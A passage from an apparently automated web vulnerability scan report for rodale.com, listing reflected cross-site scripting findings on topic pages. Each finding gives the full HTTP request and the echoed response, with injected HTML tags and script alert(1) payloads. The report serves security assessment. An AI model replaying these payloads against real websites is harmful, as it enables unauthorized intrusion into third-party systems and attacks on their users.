Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/omega-3-fatty-acids

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59ca7"><a>438ac742a44 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic59ca7"><a>438ac742a44/omega-3-fatty-acids HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:46:26 GMT
Date: Thu, 10 Mar 2011 17:16:27 GMT
Content-Length: 22528
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic59ca7"><a>438ac742a44 topic59ca7">
...[SNIP]...

2.726. http://www.rodale.com/topic/omega-3-fatty-acids [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/omega-3-fatty-acids

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5ee6"><a>9a39d7ebb54 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/omega-3-fatty-acidsd5ee6"><a>9a39d7ebb54 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:18 GMT
Date: Thu, 10 Mar 2011 17:17:18 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-omega-3-fatty-acidsd5ee6"><a>9a39d7ebb54 node node-958">
...[SNIP]...

2.727. http://www.rodale.com/topic/omega-3-fatty-acids [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/omega-3-fatty-acids

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64c50"><script>alert(1)</script>1a71e44bf51 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/omega-3-fatty-acids?64c50"><script>alert(1)</script>1a71e44bf51=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:24 GMT
Date: Thu, 10 Mar 2011 17:16:24 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32976

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/omega-3-fatty-acids?64c50"><script>alert(1)</script>1a71e44bf51=1" title="Register" class="moreLink">
...[SNIP]...

2.728. http://www.rodale.com/topic/or [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/or

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a78c"><a>17a6e0d5739 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic6a78c"><a>17a6e0d5739/or HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:23 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:26 GMT
Date: Thu, 10 Mar 2011 17:19:26 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic6a78c"><a>17a6e0d5739 topic6a78c">
...[SNIP]...

2.729. http://www.rodale.com/topic/or [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/or

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa5f2"><a>26244a5940f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/oraa5f2"><a>26244a5940f HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:58 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:00 GMT
Date: Thu, 10 Mar 2011 17:20:00 GMT
Content-Length: 22456
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-oraa5f2"><a>26244a5940f node node-958">
...[SNIP]...

2.730. http://www.rodale.com/topic/or [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/or

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abfab"><script>alert(1)</script>ded06c03d0c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/or?abfab"><script>alert(1)</script>ded06c03d0c=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:22 GMT
Date: Thu, 10 Mar 2011 17:19:22 GMT
Content-Length: 32593
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/or?abfab"><script>alert(1)</script>ded06c03d0c=1" title="Register" class="moreLink">
...[SNIP]...

2.731. http://www.rodale.com/topic/organic [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/organic

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5ac4"><a>6a3708b26ec was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicc5ac4"><a>6a3708b26ec/organic HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:25 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:29 GMT
Date: Thu, 10 Mar 2011 17:16:29 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicc5ac4"><a>6a3708b26ec topicc5ac4">
...[SNIP]...

2.732. http://www.rodale.com/topic/organic [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/organic

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8be04"><a>21f4b0963a1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/organic8be04"><a>21f4b0963a1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:47:15 GMT
Date: Thu, 10 Mar 2011 17:17:16 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-organic8be04"><a>21f4b0963a1 node node-958">
...[SNIP]...

2.733. http://www.rodale.com/topic/organic [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/organic

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 329df"><script>alert(1)</script>dab356b8288 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/organic?329df"><script>alert(1)</script>dab356b8288=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:46:24 GMT
Date: Thu, 10 Mar 2011 17:16:25 GMT
Content-Length: 29762
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/organic?329df"><script>alert(1)</script>dab356b8288=1" title="Register" class="moreLink">
...[SNIP]...

2.734. http://www.rodale.com/topic/organic-farming [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/organic-farming

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24ee4"><a>f0aff00754c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic24ee4"><a>f0aff00754c/organic-farming HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:19 GMT
Date: Thu, 10 Mar 2011 17:16:19 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic24ee4"><a>f0aff00754c topic24ee4">
...[SNIP]...

2.735. http://www.rodale.com/topic/organic-farming [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/organic-farming

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc909"><a>bce5436f379 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/organic-farmingdc909"><a>bce5436f379 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:52 GMT
Date: Thu, 10 Mar 2011 17:16:52 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-organic-farmingdc909"><a>bce5436f379 node node-958">
...[SNIP]...

2.736. http://www.rodale.com/topic/organic-farming [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/organic-farming

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4836e"><script>alert(1)</script>267017bca81 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/organic-farming?4836e"><script>alert(1)</script>267017bca81=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:17 GMT
Date: Thu, 10 Mar 2011 17:16:17 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33220

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/organic-farming?4836e"><script>alert(1)</script>267017bca81=1" title="Register" class="moreLink">
...[SNIP]...

2.737. http://www.rodale.com/topic/organic-food [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/organic-food

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d26cb"><a>c81a2574653 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd26cb"><a>c81a2574653/organic-food HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:19 GMT
Date: Thu, 10 Mar 2011 17:16:19 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd26cb"><a>c81a2574653 topicd26cb">
...[SNIP]...

2.738. http://www.rodale.com/topic/organic-food [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/organic-food

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 448bc"><a>ae213644fd6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/organic-food448bc"><a>ae213644fd6 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:55 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:56 GMT
Date: Thu, 10 Mar 2011 17:16:56 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-organic-food448bc"><a>ae213644fd6 node node-958">
...[SNIP]...

2.739. http://www.rodale.com/topic/organic-food [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/organic-food

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d632e"><script>alert(1)</script>e61e6e11566 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/organic-food?d632e"><script>alert(1)</script>e61e6e11566=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:17 GMT
Date: Thu, 10 Mar 2011 17:16:17 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32986

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/organic-food?d632e"><script>alert(1)</script>e61e6e11566=1" title="Register" class="moreLink">
...[SNIP]...

2.740. http://www.rodale.com/topic/organic-gardening [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/organic-gardening

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6810"><a>3be07feb8c1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topica6810"><a>3be07feb8c1/organic-gardening HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:37 GMT
Date: Thu, 10 Mar 2011 17:16:37 GMT
Content-Length: 22522
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topica6810"><a>3be07feb8c1 topica6810">
...[SNIP]...

2.741. http://www.rodale.com/topic/organic-gardening [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/organic-gardening

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82c57"><a>fa386e49005 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/organic-gardening82c57"><a>fa386e49005 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:36 GMT
Date: Thu, 10 Mar 2011 17:17:36 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-organic-gardening82c57"><a>fa386e49005 node node-958">
...[SNIP]...

2.742. http://www.rodale.com/topic/organic-gardening [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/organic-gardening

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e952"><script>alert(1)</script>7bdc245311a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/organic-gardening?7e952"><script>alert(1)</script>7bdc245311a=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:16:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:46:32 GMT
Date: Thu, 10 Mar 2011 17:16:32 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32880

